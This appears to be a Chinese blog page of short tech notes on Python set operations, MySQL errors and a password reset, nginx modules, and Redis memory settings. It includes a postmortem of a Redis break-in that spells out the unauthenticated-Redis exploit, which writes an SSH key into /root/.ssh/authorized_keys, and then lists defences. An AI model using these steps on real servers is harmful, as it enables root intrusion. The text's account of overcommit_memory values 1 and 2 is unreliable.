python 两个list 求交集,并集,差集

在python中,数组可以用list来表示。如果有两个数组,分别要求交集,并集与差集,怎么实现比较方便呢? 当然最容易想到的是对两个数组做循环,即写两个for循环来实现。这种写法大部分同学应该都会,而且也没有太多的技术含量, [python] #!/usr/bin/env python #coding:utf-8 def diff(listA,listB): #求交集的两种方式 retA = [i for i in listA if i in listB] retB = list(set(listA).intersection(set(listB))) print "retA is: ",retA print "retB is: ",retB #求并集 retC = list(set(listA).union(set(listB))) print "retC1 is: ",retC #求差集,在B中但不在A中 retD = list(set(listB).difference(set(listA))) print "retD is: ",retD retE = [i for i in listB if i not in listA] print "retE is: ",retE def main(): listA = [1,2,3,4,5] listB = [3,4,5,6,7] diff(listA,listB) if __name__ == '__main__': main() [/python] retA is: [3, 4, 5] retB is: [3, 4, 5] retC1 is: [1, 2, 3, 4, 5, 6, 7] retD is: [6, 7] retE is: [6, 7] 转自 http://blog.csdn.net/bitcarmanlee/article/details/51622263 结合代码来看,大体上是两种思路: 1.使用列表解析式。列表解析式一般来说比循环更快,而且更pythonic显得更牛逼。 2.将list转成set以后,使用set的各种方法去处理。

mysql Incorrect datetime value

从本地 迁移数据库到测试服 发现sql报错 MySQL []> INSERT INTO `table` VALUES (1, 1, 1, 1, 0, 0, 0, 0, 0, '0000-00-00 00:00:00', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '2017-08-31 11:41:22', '2017-08-31 11:41:26', 0); ERROR 1292 (22007): Incorrect datetime value: '0000-00-00 00:00:00' for column 'rental_days_at' at row 1 MySQL [nparis]> select @@sql_mode; +-------------------------------------------------------------------------------------------------------------------------------------------+ | @@sql_mode | +-------------------------------------------------------------------------------------------------------------------------------------------+ | ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION | +-------------------------------------------------------------------------------------------------------------------------------------------+ 1 row in set (0.41 sec) MySQL []> set @@sql_mode='no_engine_substitution'; Query OK, 0 rows affected, 1 warning (0.07 sec) MySQL []> INSERT INTO `table` VALUES (1, 1, 1, 1, 0, 0, 0, 0, 0, '0000-00-00 00:00:00', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '2017-08-31 11:41:22', '2017-08-31 11:41:26', 0); Query OK, 1 row affected (0.56 sec) 出自 https://dba.stackexchange.com/questions/48704/mysql-5-6-datetime-incorrect-datetime-value-2013-08-25t1700000000-with-er

ubuntu 16.10 重置mysql5.7密码

sudo vim /etc/mysql/mysql.conf.d/mysqld.cnf [mysqld]下加入"skip-grant-tables" sudo /etc/init.d/mysql restart mysql -u root update mysql.user set authentication_string=password('123456') where user='root';(mysql5.7取消了password字段) update user set plugin="mysql_native_password"; flush privileges; exit; 注释 [mysqld]下加入"skip-grant-tables" sudo /etc/init.d/mysql restart mysql -u root -p123456

(转)nginx添加模块(非覆盖安装)

原已经安装好的nginx,现在需要添加一个未被编译安装的模块: nginx -V 可以查看原来编译时都带了哪些参数 原来的参数: --prefix=/app/nginx 添加的参数: --with-http_stub_status_module --with-http_ssl_module --with-http_realip_module 步骤如下: 1. 使用参数重新配置: ./configure --prefix=/app/nginx -user=nobody -group=nobody --with-http_stub_status_module \ --with-http_ssl_module --with-http_realip_module \ --add-module=../nginx_upstream_hash-0.3.1/ \ --add-module=../gnosek-nginx-upstream-fair-2131c73/ 2. 编译: make #不要make install,否则就是覆盖安装 3. 替换nginx二进制文件: cp /app/nginx/sbin/nginx /app/nginx/sbin/nginx.bak cp ./objs/nginx /app/nginx/sbin/

redis 漏洞 事故总结

事故起因 合并uc数据方案采用本地临时redis-server存储id,脚本和临时数据存储在同一台服务器导致单台服务器内存不足 redis-server挂机. 于是开启crontab-3机器 作为临时redis-server,由于对redis的漏洞没有相关的了解和没有相关安全意识,使用了redis的默认配置 导致该台服务器被黑客入侵 事故原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器 漏洞利用条件 redis服务以root账户运行 redis无密码或弱密码进行认证 redis监听在0.0.0.0公网上 案例分析(利用漏洞方式总共分为2种 命令注入,密钥注入.以下为密钥注入案例) 服务器ubuntu 14.04 lts redis-server 2.8.4 ip 172.16.143.141 port 6379 非server版本开启permitRootLogin 步骤一 生成公钥 步骤二 (连上redis客户端) 将公钥写入key set aa "\n\n\nssh-rsa ********************* frank@franktekiMacBook-Pro.local\n\n\n" 设置redis备份地址 config set dir /root/.ssh/ 设置备份文件名 config set dbfilename authorized_keys 保存 save 步骤三 ssh 172.16.143.141 直接登陆root无需密码 事故总结于防范 线上操作要有安全意识 redis服务尽量不要暴露在外网中 配置auth密码 禁止root启动redis服务 修改默认端口6379

php redis spop false

问题描述: 从脚本机2 切换到脚本机3后 发现原来的脚本跑不到数据了 spop返回false scard返回20000000+ 查看redis日志 13671:M 06 Jan 19:39:11.073 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect. 貌似是内存分配问题 根据提示 sysctl vm.overcommit_memory=1 spop返回正常 百度overcommit_memory 内核参数overcommit_memory 它是 内存分配策略 可选值:0、1、2。 0, 表示内核将检查是否有足够的可用内存供应用进程使用;如果有足够的可用内存,内存申请允许;否则,内存申请失败,并把错误返回给应用进程。 1, 表示内核允许分配所有的物理内存,而不管当前的内存状态如何。 2, 表示内核允许分配超过所有物理内存和交换空间总和的内存 什么是Overcommit和OOM Linux对大部分申请内存的请求都回复"yes",以便能跑更多更大的程序。因为申请内存后,并不会马上使用内存。这种技术叫做 Overcommit。当linux发现内存不足时,会发生OOM killer(OOM=out-of-memory)。它会选择杀死一些进程(用户态进程,不是内核线程),以便释放内存。 当oom-killer发生时,linux会选择杀死哪些进程?选择进程的函数是oom_badness函数(在mm/oom_kill.c中),该 函数会计算每个进程的点数(0~1000)。点数越高,这个进程越有可能被杀死。每个进程的点数跟oom_score_adj有关,而且 oom_score_adj可以被设置(-1000最低,1000最高)。